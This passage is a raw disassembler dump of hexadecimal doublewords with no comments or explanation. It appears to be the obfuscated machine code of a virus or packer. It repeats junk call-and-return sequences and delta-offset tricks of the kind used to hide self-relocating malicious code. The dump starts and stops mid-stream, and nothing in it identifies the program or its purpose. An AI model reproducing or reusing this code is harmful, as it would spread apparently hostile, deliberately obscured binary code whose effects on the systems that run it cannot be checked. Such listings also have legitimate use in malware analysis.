		dd 58000000h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h,	50006A5Fh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BBD4696h, 0BDB58BF9h, 907A808h, 0A83269BDh,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 32DB08Dh, 0D7C2C046h, 0E7EE81E3h, 0E84324DBh, 13h, 57657EF5h
		dd 0A244A0Eh, 95A6D57Ah, 61A9A6D1h, 8B5ED61Eh, 0A80341BDh
		dd 95895E07h, 7A807C5h,	5E8h, 1216B000h, 810F4821h, 6
		dd 3559D29h, 8B5E07A8h,	0A8183DB5h, 0F7D7E907h,	6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8D894EC3h, 7A80DE5h,	89F78B66h, 0A804FDBDh, 0C18BFC07h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 97C35343h
		dd 248B9729h, 0EB782235h, 4, 0FE900h, 0B14B0000h, 656A048Fh
		dd 68A3159Bh, 986B6737h, 52006A80h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 25858DDEh, 0F07A804h
		dd 58Fh, 3A54BF00h, 0F9068DBh, 8Fh, 60575000h, 5E525856h
		dd 89905F61h, 0A81CC5BDh, 60006A07h, 3339BD29h,	858907A8h
		dd 7A80521h, 6A006A61h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0D34DC352h,	976D0DB6h
		dd 2AA9BD8Bh, 858D07A8h, 7AC0824h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 4EC35242h, 0CF9A58A6h, 94F54CECh
		dd 66FEBF0Fh, 83840DBEh, 858905C0h, 7A80A49h, 11E850h
		dd 9EE50000h, 57404380h, 8E82BEC3h, 8F8592FDh, 8BFEEF88h
		dd 4895EF1h, 0EEDE8124h, 6A5C0127h, 6AFC00h, 2F5D8D89h
		dd 95FF07A8h, 7A81B39h,	2F35BD8Bh, 9D8D07A8h, 7AB9A3Bh
		dd 0FFF2BF0Fh, 0CE9D3h,	20520000h, 63BA2B90h, 0E529954Eh
		dd 85FF1949h, 7A80EE5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 63C35343h, 4F7B62B9h,	10C54A09h, 6810F17h
		dd 89000000h, 0A810F9B5h, 8B3E907h, 0E80000h, 5D000000h
		dd 82EED81h, 6A07ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0BFCA8DC3h, 0BE98B72h, 57000000h
		dd 0B9399B49h, 3CDCFD68h, 0F18B7C2Fh, 0B5DBD81h, 7D007A8h
		dd 860F0000h, 0F7h, 0E0ABB0BEh,	759D8B43h, 8907A815h, 0A8182DBDh
		dd 0E38107h, 0BF000001h, 3F91B79Dh, 850FDB0Bh, 53h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0B5C35040h, 6C8BD83h
		dd 0F0007ACh, 0B84h, 0F6B70F00h, 52E9h,	0F2B70F00h, 6C885C7h
		dd 107ACh, 0BD310000h, 7A81C91h, 3AE9h,	5E900h,	0A1AF0000h
		dd 0C76B4F8Dh, 0AC06C885h, 7, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0C684A114h
		dd 1DE681B2h, 8D617217h, 0A815759Dh, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0B4545A0Fh
		dd 0FF238165h, 6AFFFFFEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D33AC355h,	8166E075h
		dd 66E175E7h, 0F52DB8Ch, 0F65FF7BFh, 840F04C3h,	54h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CAC35343h, 0E34262D6h
		dd 95FF9144h, 7A82651h,	2D69B58Bh, 509007A8h, 5B566052h
		dd 0F615A56h, 5AFA8B31h, 0AE95058h, 0BA000000h,	24283B3Dh
		dd 5C7405F0h, 0B501905Bh, 7A82351h, 485E9h, 0F0B70F00h
		dd 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 25C7CEC3h, 6EA3F34Dh, 70E64C21h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C7C35343h, 0EEF1A1ABh
		dd 0FF46B815h, 24D99589h, 0B70F07A8h, 6A71E4F9h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 16C2C352h, 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 5F81C357h, 7428EBD9h
		dd 0B1064BF1h, 6BAh, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 886B377Ch, 0FA2A381Bh
		dd 0C38BF5A4h, 658D8B60h, 6007A828h, 7E9F8h, 5EAC0000h
		dd 12140152h, 0C1616127h, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A25AB5C3h, 0F7668146h
		dd 50006AE2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 7D91F5B3h, 0BE9F9h, 8B800000h, 0E47FDBEFh
		dd 2FD0B3B3h, 6AD82B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 4D99C353h, 0D985299Fh
		dd 9307A825h, 6A9350h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0FBF431C3h, 0FF7461DFh, 0A80B5DB5h
		dd 0A9958907h, 0FF07A82Fh, 0A80D2195h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 45C7AE78h, 60184759h, 0BE956h, 74C0000h, 8D39F0Ch, 3AD078A0h
		dd 95BE586Ch, 612A9922h, 6A00B0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 180F2CC3h, 8B608CA2h
		dd 0A8198D8Dh, 61CF8B07h, 0BD8B70E6h, 7A81889h,	6A71E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 8FD7CC3h, 0C3D722BAh, 8B0DB33Eh, 0A8189DBDh,	0F1BE6607h
		dd 0F613C78h, 24983h, 0DF816600h, 0BD8B68BFh, 7A80AC9h
		dd 6AD8B60Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0F063C356h, 18A24CAh, 0A80B2995h
		dd 6BA07h, 0DE810000h, 160E5913h, 6AC38Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 16A50CC3h
		dd 6809BE3Dh, 23BF7CDBh, 0C12A81BBh, 6A04E8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0A5A197C3h
		dd 6860FA9h, 81000000h,	545C88D7h, 0FF86037h, 81h, 0F7666100h
		dd 9D8956E2h, 7A809C5h,	2DBD295Fh, 2B07A804h, 570ABED8h
		dd 895842B7h, 0A825798Dh, 0FD82B07h, 18188h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 53D1D8DAh, 81827505h, 63B9C1F7h, 7B977h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0EE4E1AC3h, 0B58B4AD4h, 7A82D95h, 918D8957h,	5F07A818h
		dd 6A00C183h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 8863C351h, 0E969D463h,	0Bh
		dd 0DAAED532h, 6B20F3DCh, 3B916E13h, 0EB860FD9h, 8B000000h
		dd 0A805B9B5h, 0D98C6607h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 53C35242h, 0AA5F7CD3h, 4C1F626h, 8B840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0E87D26C3h, 1B3EDB50h, 0FE946h, 18D90000h
		dd 8930CB3Ch, 3D1890D7h, 80547641h, 9DB50B59h, 0FF07A834h
		dd 0A8265195h, 51BD8B07h, 5B07A818h, 21FDB589h,	0C32B07A8h
		dd 25F18589h, 343D07A8h, 0F000008h, 2886h, 0E95E5200h
		dd 4Eh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 4AC35141h, 0CC9BF27h, 6AC08B19h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F7E0C353h
		dd 98F7FD25h, 5BDF956Ch, 2DDD8509h, 0C38B07A8h,	6AD88Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F58A48C3h, 7380EEE2h, 85C7F38Bh, 7A81351h, 58642799h
		dd 4830Fh, 0BF660000h, 0C08B22B2h, 7E8h, 0C7359300h, 0F253C812h
		dd 2D358589h, 815F07A8h, 0A80B5DBDh, 7D007h, 56850F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 48C3C353h, 4FB320ABh, 0BC7E9A31h
		dd 0B5D85FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0FB6F02C3h, 7E9C8h, 5B560000h, 0C6B89507h
		dd 5DB5FFAEh, 6A07A80Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E8EAC355h,	7, 0D0B5E888h
		dd 0E92BD531h, 9, 0D287342Fh, 286E785Eh, 8B605FE1h, 0A8174D9Dh
		dd 14E907h, 203C0000h, 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h
		dd 0FF61FB0Ch, 0A80D2195h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0ED0F271Ah
		dd 6A90B442h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0E918C356h, 56006A94h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F0735A8Ch
		dd 4A200C3Ah, 659501A6h, 8107A800h, 1ADFBFC6h, 50006A60h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0DD625378h, 56538C51h, 2A2DB589h, 6AFC07A8h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 2F71C356h, 0B1F4579Bh, 0FABF0FE2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 7BC35040h, 0E73F0334h, 0C2A45910h
		dd 49BD8B53h, 8907A826h, 0A804D1BDh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 886214D1h
		dd 8F0FB5E8h, 6, 17099589h, 0FE907A8h, 0A1000000h, 210B7902h
		dd 13267987h, 80BB3E7Bh, 85899E86h, 7A80BC5h, 0FFF775E9h
		dd 0F88B66FFh, 2D599D89h, 13E807A8h, 84000000h,	0A6BE7F55h
		dd 4E7CD448h, 5D826738h, 76E6EFE0h, 0B58B1993h,	7A81491h
		dd 6AC18B5Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 840C356h, 0EB412687h, 4, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 5E098BEAh, 465BD29h,	8C0F07A8h, 6, 0B7DBD03h, 858D07A8h
		dd 7A80425h, 9BC6BE66h,	0D68B6050h, 0F3BF6653h,	896159C1h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0E19663C3h, 820F006Ah, 2,	6AF18Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A5C35141h, 89F33E03h
		dd 0A80B4D95h, 0E5858D07h, 6A07AC12h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0ED6BC353h
		dd 0FC238F26h, 6A05C083h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 1A8C350h, 1A03E192h
		dd 1B58BC9h, 9007A82Eh,	0E850F38Bh, 10h, 8DC8977h, 7DA0B303h
		dd 0F9B9D8B2h, 0CF2B8381h, 6870Fh, 8C0F0000h, 0
		dd 6A905Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 5456D5C3h, 941A54A0h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 3DDF4C3h
		dd 34C62E36h, 6D8D31ECh, 6A07A82Fh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0F42AAAFBh
		dd 3EBF341Ah, 0FF7CE88Eh, 0A81B3995h, 6840F07h,	9000000h
		dd 0A81D8595h, 3B9D8D07h, 6A07AB9Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4978C355h
		dd 85FFD3FFh, 7A80EE5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0ADC35646h, 0AE9FE8Bh, 0E8000008h, 0
		dd 0EFED815Dh, 0F507AC12h, 0B5DBD81h, 7D007A8h,	860F0000h
		dd 12Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	95C35242h, 8B44025Ah, 0A8057DBDh, 99D8B07h, 6A07A82Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 632AC350h, 2EF322BEh, 8A0F0119h, 3, 81F7B70Fh
		dd 100E3h, 0D9BD3100h, 0B07A809h, 6B850FDBh, 0F5000000h
		dd 1100BD83h, 0F0007ACh, 3E84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F8FD1C3Eh
		dd 68A0Fh, 0BD8B0000h, 7A80F91h, 37E9h,	8800F00h, 0F000000h
		dd 280h, 0C7616000h, 0AC110085h, 107h, 6850F00h, 33000000h
		dd 0A80E2DB5h, 0EE907h,	0BF660000h, 85C793F5h, 7AC1100h
		dd 0
aNaIJ		db '',9,'-¨',7,'j',0
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 6600C3C3h, 89A2F681h, 0FEFF2381h, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8C6619C3h
		dd 0BE8DBh, 0FD9F0000h,	56E3F4B9h, 0DA19897Ah, 3585896Dh
		dd 5E07A826h, 0F04C3F6h, 3184h,	79BD8B00h, 0FF07A826h
		dd 0A8265195h, 51858907h, 9007A80Ah, 0DE9h, 0D414200h
		dd 5AC2D53Eh, 3E991C9h,	6650D5A2h, 907F11BFh, 0C6B5E781h
		dd 1DE970B3h, 89000004h, 0A8330185h, 5300B007h,	7C5BD8Bh
		dd 0E65F07A8h, 0EE970h,	0DC7B0000h, 0A1728D42h,	349469FAh
		dd 0B588356Ah, 6A71E4h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0E944FBC3h, 0C9858918h, 0F07A827h
		dd 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0A8D5DCC3h, 0CD9589h, 6BA07A8h, 0F000000h
		dd 0C38BF6B7h, 25E59D89h, 0E8C107A8h, 0ACBF6604h, 0E2F7666Ah
		dd 1541B58Bh, 0D82B07A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0C2C35646h, 66F5189Dh, 6050F08Bh, 0C88B6660h
		dd 61C38B66h, 241C8961h, 83DBD8Bh, 0B5FF07A8h, 7A80B5Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B3C35747h
		dd 4E134B0Ch, 742BEA45h, 2195FFEAh, 0B007A80Dh,	31950100h
		dd 0E907A810h, 0Ah, 0F6DA48FCh,	73E6126Dh, 70E65ADCh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 4AC35646h, 8985BCF9h
		dd 662400D2h, 0F38BFB8Bh, 0E18BBF66h, 6A71E4h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 6D2728C3h, 5D56EC79h, 9D09286Ch, 7A81711h, 830F613Ch
		dd 2A8h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	3BC35545h, 0EC230749h, 0F60A640h, 9589FEBFh, 7A80A55h
		dd 0D8B60F61h, 6BAF5h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E46398C3h, 880F4F17h
		dd 6, 1455BD8Bh, 853107A8h, 7A8289Dh, 6AC38Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B86936C3h, 52F57A2Ah, 0BF6633E6h, 0E8C1B244h, 0E2F76604h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ACC35747h
		dd 49B13DC8h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B589D1C3h, 7A81755h, 17820F58h
		dd 60000000h, 0F318D33h, 9E807A8h, 0FD000000h, 99345900h
		dd 7867FE89h, 0D82B6159h, 1A6880Fh, 8E80000h, 97000000h
		dd 0A9AD9C75h, 8B44B17Eh, 0A82235B5h, 7B95F07h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0E348C350h, 57C4674Ah, 7E91057h, 67000000h
		dd 0DB67E79Ch, 8F0F6977h, 6, 0CC18589h,	0BF6607A8h, 0C1833119h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0B523B622h, 7A80C5Dh, 860FD93Bh,	120h, 7E8h
		dd 2A78DA00h, 0D34B4CBAh, 0EE960h, 0E5F80000h, 0AFA4E4D2h
		dd 9661B145h, 5E0B4067h, 32D1B529h, 5E6107A8h, 29D98C66h
		dd 0A834B1B5h, 4C1F607h, 0E1840Fh, 800F0000h, 6, 35858589h
		dd 95FF07A8h, 7A82651h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0DCC35040h, 6A5BF5h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 36E594C3h
		dd 0C32BF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	3FC35343h, 0BE6659F4h, 343D661Bh, 0F000008h, 6286h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0CDBBC169h, 11E963EAh, 68000000h, 7017AF46h
		dd 0BF1CA08Ch, 0B5A9B294h, 6E467967h, 2BE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 709BBAF3h, 61B529C0h, 8B07A813h, 0FE8B66C0h,	0D88BC38Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7CC35747h
		dd 49B58B3Bh, 8907A82Ch, 0A8258D8Dh, 7585C707h,	3907A815h
		dd 6A1DF6E9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CEB3C350h, 190D8589h,	0C08B07A8h
		dd 1A298D89h, 0BD8107A8h, 7A80B5Dh, 7D0h, 30850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 390FD3C3h, 862C5B45h, 0B5D85FFh, 35707A8h, 0A8248DB5h
		dd 0B5FF5F07h, 7A80B5Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 19C35545h, 293D9D89h,	95FF07A8h, 7A80D21h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 10C35747h
		dd 0DD0F970Dh, 4D70DE3Ch, 4C68190h, 897C4891h, 0A818019Dh
		dd 51BD8B07h, 9007A815h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0C0C35141h, 1865B501h, 0B58B07A8h, 7A80B99h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 94C35242h
		dd 959D89F2h, 3307A81Ah, 0A83251BDh, 7E907h, 0BF360000h
		dd 3ECA620Eh, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 6AC4F1D7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0C15C355h, 0B3075985h
		dd 8B16F884h, 0A82911BDh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0C372E781h
		dd 8B665DABh, 55006AF2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 728ADFFEh, 92B23FE8h, 12E8h, 2D97AB00h
		dd 9A623E90h, 0F8638C01h, 0F782716Fh, 50A5FED7h, 3061B58Bh
		dd 15E07A8h, 0A814C9BDh, 860F5E07h, 23h, 178D0Fh, 0BE80000h
		dd 5E000000h, 5400A244h, 0E112D6BAh, 895ECB83h,	0A8357595h
		dd 0D1B58B07h, 0E907A80Fh, 0FFFFF7FBh, 0FB3B54BEh, 6AC18B74h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 6F9EC353h, 5069DE47h, 4EBF992h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D5C35343h
		dd 1061BFEh, 0B7102540h, 22858D29h, 9D3107A8h, 7A80359h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0B7C35141h
		dd 25858DD3h, 6A07A804h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 9879C353h, 0FE8BE50Eh
		dd 21F9BF50h, 4891117h,	0F006A24h, 1288h, 6E800h, 9A50000h
		dd 81069BE0h, 0A518D89h, 6A5F07A8h, 0CB858D00h,	6A07AC1Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8930C352h, 0A80C31B5h, 5C08307h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 85C35040h, 3821E246h
		dd 0BE6690C0h, 66507FA6h, 90F137BFh, 0FE9h, 5808DB00h
		dd 8E8909DCh, 0FAE468BAh, 50BA26DEh, 8F0F006Ah,	2, 6A5E50h
		dd 0C68B6660h, 0E9BD0B61h, 0FF07A81Ah, 0A81B3995h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 7B4D3DECh, 60D635A0h, 8453B966h, 258D9D29h, 8D6107A8h
		dd 0AB9A3B9Dh, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 70F32CD6h, 0D5C9E688h
		dd 0FA8B66B3h, 9501D3FFh, 7A80BC5h, 0EE585FFh, 6A07A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD0329C3h, 7A810D9h, 721E9h, 0E800h, 815D0000h, 0AC1CD5EDh
		dd 14E907h, 20E0000h, 0E52673F0h, 4E622A70h, 0C0E39E06h
		dd 0B27F3979h, 0BD819BD2h, 7A80B5Dh, 7D0h, 10E860Fh, 9D8B0000h
		dd 7A82B05h, 34C5B589h,	0E38107A8h, 100h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 0FBC35545h, 0B142982h
		dd 0B6850FDBh, 0F9000000h, 1B1BBD83h, 0F0007ACh, 5B84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 253EDDB1h, 3912DE8Eh, 9D89FB62h,	7A817B1h
		dd 305BC681h, 7CE916E2h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D81BC357h
		dd 5D1F0DA8h, 0F5CB883Bh, 1B1B85C7h, 107ACh, 800F0000h
		dd 0Ch,	6860Fh,	0BD890000h, 7A82421h, 36E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 4978CF66h, 699D0136h, 8907A835h, 0A80A39BDh,	1B85C707h
		dd 7AC1Bh, 8D000000h, 0A82B059Dh, 6CBE6607h, 0FF2381E3h
		dd 0BEFFFFFEh, 2A33B2A1h, 89DB8C66h, 0A828D98Dh, 4C3F607h
		dd 2A840Fh, 0BD890000h,	7A810B9h, 265195FFh, 6E807A8h
		dd 0B6000000h, 0D2C30B13h, 6E9A2h, 6E9F0000h, 7DED20A5h
		dd 489505Fh, 0F28B6624h, 3B8E9h, 0FAB70F00h, 6A00B0h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B70F5AC3h, 8B70E6F8h, 0A8036DB5h, 6071E407h, 8D0B3CB3h
		dd 7A83045h, 0A9BD8B61h, 0F07A834h, 6AD8B6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0EF6CCAC3h
		dd 7A780AF2h, 90EEE681h, 800F2E8Fh, 13h, 0EE9h,	0A673000h
		dd 5A02C8DBh, 0D9EF3989h, 0BA0CA99Bh, 6, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0DC35545h, 0F88E97B6h
		dd 8B9789F0h, 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0EE4F4A3Bh, 0E8C14ACBh, 0C58D8904h
		dd 6607A80Ah, 0EEBFE2F7h, 2B22C078h, 56006AD8h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 43EAAD8Fh
		dd 0F4302032h, 0BF6650E8h, 1C896DC5h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0B58B9F0Fh, 7A8223Dh, 1BA5B58Bh, 0B5FF07A8h,	7A80B5Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F4C35545h
		dd 0CCDEE026h, 85291EF9h, 7A80F0Dh, 0D2195FFh, 6A07A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0D88493C3h, 0D9AD8CCBh, 300B0C9h, 0A83401B5h, 6A70E607h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 9796C351h, 55BA6D6Eh, 0E871E4FCh,	8, 9AA26631h
		dd 796646C1h, 827CBF66h, 0F613C5Fh, 1E483h, 8B666000h
		dd 1EEA80CAh, 0D8B60F61h, 322DB503h, 6BA07A8h, 81000000h
		dd 0DE1267DFh, 66C38B49h, 3B2FF681h, 6A04E8C1h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 29DAC356h, 449CD61Ch, 0E2F766FCh, 7E8h, 48AEF300h, 0DA354CACh
		dd 0BE9h, 46B5AE00h, 0E2E73112h, 9AECFDB8h, 6AD82B5Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0EA29C351h, 85B589A7h, 5807A80Bh,	0EF8E681h
		dd 0D82B4D03h, 147880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 8749BBC3h, 7B911h, 8B600000h
		dd 0A813698Dh, 68C0F07h, 89000000h, 0A81B2185h,	0C1836107h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 45969FA9h, 8529F9E2h, 7A8251Dh, 860FD93Bh
		dd 0DDh, 0D98C66F5h, 0F04C1F6h,	0A584h,	6E900h,	0D4180000h
		dd 4852EFCCh, 11E8h, 22285900h,	0CF10AD2Dh, 9382B582h
		dd 77FC6A65h, 8D2943D0h, 7A80B41h, 5195FF5Eh, 6A07A826h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 8226C350h, 19B58BE6h, 5B07A811h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 7FC35343h, 34396C1Ch
		dd 29DC2C39h, 0A82C2DBDh, 0FC32B07h, 343DF0BFh,	0F000008h
		dd 1986h, 85236000h, 7A83079h, 4890Fh, 0BF660000h, 0E9611FA1h
		dd 2Dh,	0C08BF08Bh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0FC35040h, 263FBC8Bh,	8955E309h, 0A81D499Dh
		dd 8BC38B07h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
